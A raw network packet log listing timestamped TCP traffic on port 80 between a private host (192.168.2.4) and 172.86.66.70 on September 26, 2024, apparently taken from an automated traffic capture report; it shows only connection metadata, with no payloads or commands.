Sep 26, 2024 12:11:57.680592060 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.685225964 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.685242891 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.685292959 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.685295105 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.685308933 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.685344934 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.690007925 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.690032005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.690047026 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.690062046 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.690068960 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.690078974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.690092087 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.690135002 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.694725037 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.694741011 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.694762945 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.694778919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.694797039 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.694849968 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.699609995 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699625969 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699640036 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699655056 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699670076 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699686050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699693918 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.699702024 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699716091 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.699719906 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699737072 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699752092 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699754000 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.699768066 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.699778080 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.699795961 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.754386902 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.754579067 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.754616022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.754632950 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.754671097 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.754689932 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.754724026 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.754900932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.754955053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755013943 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.755161047 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755177021 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755196095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755211115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755227089 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.755258083 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.755805016 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755862951 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755878925 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755898952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755913973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.755914927 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.755944967 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.756700993 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.756752014 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.756757021 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.756781101 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.756825924 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.756839991 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.756858110 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.756911039 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.757638931 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.757664919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.757679939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.757711887 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.757755995 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.757775068 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.757802963 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.758575916 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.758599043 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.758613110 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.758646965 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.758646965 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.758687973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.758703947 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.758773088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.759490967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.759516954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.759531975 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.759572029 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.759583950 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.759599924 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.759639978 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.760466099 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.760482073 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.760497093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.760514021 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.760524988 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.760534048 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.760560036 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.760581970 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.761348963 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.761393070 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.761408091 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.761446953 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.761902094 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.761928082 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.761960030 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.762401104 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.762459993 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.762490034 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.762506962 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.762531042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.762552977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.762557030 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.762604952 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.763192892 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.763248920 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.763264894 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.763303995 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.763742924 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.763792992 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.763803005 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.763812065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.763844967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.763859987 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.763861895 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.763916969 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.764658928 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.764713049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.764728069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.764765978 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.765229940 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.765289068 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.765307903 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.765311956 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.765342951 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.765357971 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.765374899 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.765429974 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.766125917 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.766165972 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.766180992 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.766206026 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.766218901 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.766263008 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.844861984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.844983101 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845057011 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.845160007 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845175028 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845191002 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845206976 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845249891 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.845284939 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.845334053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845350981 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845366001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845381975 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845397949 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845407009 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.845427990 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.845510960 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845525980 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845541000 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845556021 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845568895 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.845571995 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845597029 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.845621109 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.845688105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845704079 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845720053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.845756054 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846021891 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846040010 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846054077 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846077919 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846108913 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846191883 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846208096 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846225023 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846241951 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846262932 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846296072 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846348047 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846561909 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846577883 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846592903 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846617937 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846656084 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846719027 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846734047 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846748114 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846762896 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846788883 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846818924 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846889973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846898079 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846906900 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846913099 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.846945047 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.846971989 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.847270966 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847286940 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847315073 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847346067 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.847429991 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847445965 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847461939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847477913 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847484112 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.847507000 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.847598076 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847614050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847629070 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847652912 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.847683907 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.847763062 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847779036 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847794056 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847807884 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847824097 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.847831964 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.847863913 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.848484993 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848500967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848516941 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848531008 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848540068 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.848548889 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848562956 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.848601103 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.848627090 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848634958 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848640919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848648071 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848654032 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848660946 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848674059 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.848712921 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.848792076 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848809004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848825932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.848859072 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.849029064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.849044085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.849059105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.849073887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.849083900 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.849114895 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.850146055 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850166082 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850173950 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850176096 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850202084 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.850229979 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.850258112 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850308895 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.850315094 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850322008 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850362062 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.850409031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850423098 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850445032 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850461006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850476980 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850478888 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.850503922 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.850554943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850557089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850563049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850578070 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850606918 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.850670099 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850686073 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850701094 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.850720882 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.850754023 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.851233006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851249933 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851264954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851306915 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.851330996 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851353884 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851370096 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851393938 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851408005 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.851408005 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.851478100 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851494074 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851510048 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851525068 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851536036 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.851542950 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851556063 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.851562977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851579905 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851596117 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.851597071 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.851635933 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.852080107 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.852132082 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.852134943 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.894990921 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.933487892 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933509111 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933525085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933540106 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933593988 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.933619022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933635950 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933645964 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.933651924 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933669090 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933682919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933684111 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.933701038 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933722019 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.933752060 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.933793068 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933809042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933825016 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933840990 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933856010 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.933881044 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.933975935 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.933991909 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934046984 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934149027 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934165001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934180021 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934195042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934210062 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934218884 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934226990 CEST	80	49732	172.86.66.70	192.168.2.4
